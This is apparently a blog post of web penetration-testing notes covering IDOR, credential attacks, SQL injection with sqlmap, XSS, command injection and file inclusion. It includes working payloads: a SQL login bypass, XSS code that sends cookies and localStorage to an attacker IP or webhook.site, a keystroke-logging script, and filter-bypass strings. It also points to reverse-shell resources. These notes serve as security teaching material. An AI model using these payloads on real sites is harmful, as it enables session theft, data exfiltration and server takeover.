There's tool called: 'Burp Suite' that allows user to capture, read, modify & forward HTTP requests, and allows to capture and read/render HTTP responses as well. It's available in free, community version and in pro, paid version.
IDOR Attacks (Insecure direct object reference).
This can occur when a web application or application programming interface uses an identifier for direct access to an object in an internal database but does not check for access control or authentication. For example, if the request URL sent to a web site directly uses an easily enumerated unique identifier (such as http://example.com/doc/1234), that can provide an exploit for unintended access to all records.
Burp Suite (even in it's free, community edition) is a convenient tool for executing IDOR attacks.
IDOR attacks can - for example - reveal list of usernames that can be used for attacks on login forms.
For more, feel free to look:
- Insecure direct object references (IDOR) on PortSwigger (creators of Burp Suite),
- Insecure direct object reference on Wikipedia.
Attacks on Login Forms.
There are four types of attacks on credentials:
1. Brute force attacks
- For each of attacked usernames we try character combinations (for example: aaaaaa, aaaaab, aaaaac, ...)
2. Dictionary & related attacks
- For each of attacked usernames we try words from a dictionary, perhaps with adding of simple patterns to dictionary words (for example: amanda2001, amanda2002, amanda2003, ..., anna2001, anna2002, anna2003, ...)
3. Password spraying
- We try the same passwords from a list for many usernames. It's useful for avoiding account lockdowns.
4. Credentials stuffing
- When we know username/password for a certain service/webpage (that perhaps have leaked to the internet), then we can try to 'reuse' these credentials in another service/webpage. Or we can try to guess similar passwords, perhaps matching a certain pattern(s). Even strong passwords can be vulnerable to this type of attack. More about leaked passwords & websites that can help to work with these can be found on: Pentesting: Art of Reconaissance.
Attacks on Login Forms can be performed with help of tools like:
- Burp Suit (preferrably paid pro version, because free community version has some of functionalities disabled, and - more importantly - is deliberately slow in attack executions ... and often it's too slow to be practical and useful for professionals),
- THC Hydra (it's fast and free to use).
SQL Injection Attacks.
When developer does not validate form data sent, and use it in SQL Query's execution, it's possible to provide form data payload that can return something different than intended by webapp developer.
For example:
If we have a login form, with user admin and unknown password, we can provide
the following input:
Login: admin
Password: admin' or 1=1 -- ;
the: -- ; text is a comment in SQL, allows to avoid passing the closing ' or "
at the end of query.
This will, more or less, execute the following SQL Query at the server side:
SELECT user FROM users WHERE user='admin' AND password='admin' or 1=1
The 1=1 expression will always evaluate to the TRUE, so the query will return admin as an authorized user, granting access to the webapp as an user called: 'admin'.
The sqlmap tool.
The sqlmap tool won't replace knowledge of manual sql injection methods, but can help to automate some tasks and make the dumping of databases, columns and records quick and easy.
Commands are, for example:
> sqlmap -u http://10.87.28.206 --data="login=admin" -D cyberdb -T users -C email,username,password --os-shell
> sqlmap -u http://10.87.28.206 --data="login=admin" -D cyberdb -T users -C email,username,password --os-pwn
The sqlmap also allows to use request data from the BURP Suite as the input.
-level parameter takes values from 1 (simplest) to 5 (most advanced) and determines how many methods the sqlmap uses when interacting with database.
-risk parameter takes values from 1 (safest) to 3 (most risk to break the database) and determines how many risks the sqlmap takes when interacting with database.
Finally, it's important to mention that the sqlmap tool is a very 'noisy' tool and leaves a lot of entries in logfiles, and its easy to know from the logfile data that the user agent is sqlmap.
XSS - Cross-Site Scripting.
XSS attacks on webapps are about injecting malicious javascript on displayed page.
For example:
<script="alert(1)">
When <script ...> tag is filtered we can use:
<img src=x onerror="myfunc()">
command.
This malicious code can be used to steal logged-in user's session & credentials,
or - for example - to execute bitcoin mining code in user's browser.
We can use a webserver to register data read from client browser's cookies.
Server can be started with a command:
sudo python3 -m http.server 8888
XSS code would be:
Sometext<img src=x onerror="fetch('http://10.111.0.16:8888/cookie='+document.cookie)" style="display: none">
Sometext<img src=x onerror="fetch('https://webhook.site/fc56b0da-5100-4784-ba2b-c89296b45297?cookie='+document.cookie)" style="display: none">
Sometext<img src=x onerror="fetch('https://webhook.site/fc56b0da-5100-4784-ba2b-c89296b45297?data='+localStorage.getItem('data'))" style="display: none">
Example payload for a simple keylogger would be:
<script>
document.addEventListener('keypress', function(e) {
fetch('https://webhook.site/[FILL_DATA_IN]?key=' + e.key) });
</script>
More of payloads are available at: PayloadAllTheThings and at it's subpage.
XSS Attack can be either:
- Reflected (injected code is not stored persistently),
- Stored (injected code is stored persistently, and when user opens page it's always
executed in client's browser),
- DOM-Based (executed fully on client's side, without contacting the server at all).
Command Injection.
When a Webapp executes a command in the Operating System, sometimes it's possible to inject additional commands to be executed.
In Linux, commands can be 'glued' (concatenated) using one of following symbols: ';', '&&', '||' or '|'. See exact meaning (semantics) of these symbols in the internet.
Sometimes input is filtered, checked for whitespaces and slash symbols. Often, it is possible to bypass the filtering, however.
When using Linux/Bash, the whitespaces can be usually modified to a ${IFS:0:1} string.
When using Linux/Bash, the slash symbols ('/') can be modified to a ${PATH:0:1} string, on the condition that the environment variable $PATH is defined, and first character of it is: '/'.
File Inclusion.
LFI - Local File Inclusion.
If we pass local file's location in webapp's url parameters, often it's possible to include file that was not intended to be read. This file is then rendered and displayed on a webapp's page.
Sometimes beginning of file's path is provided, and this restricts files that are possible to be included.
Then we can use technique called: 'path traversal', where in provided file's url we add '../' one or more times.
Sometimes including a file might result in 'rendering loop'. But we can encode the included file using one or more methods.
First method is encoding included file using base64 method.
We've got the encoded data string, which we can decode using - for example - cyberchef.io service.
We can combine two or more encode methods too - to evade webapp security, for example. Let's use zlib deflate with base64 encoding:
Then we can use - for example - php command to decode the encoded data.
After executing the php command above, we get following result:
RFI - Remote File Inclusion.
If we pass remote file's location in webapp's url parameters, often it's possible to execute remote command on the attacked server.
First let's prepare file with payload to be served.
Then, let's start web server on our machine. It will serve files from the directory it was executed in.
Then, let's send request to the attacked server that includes the remote file served by us. (we need to give our IP address, port, and file name; on the image below there's VPN used, so our IP address is: 10.111.0.16).
The phpinfo payload was just example. We can execute any command, we can create reverse shell too. The https://www.revshells.com webpage might be useful for that.
No comments:
Post a Comment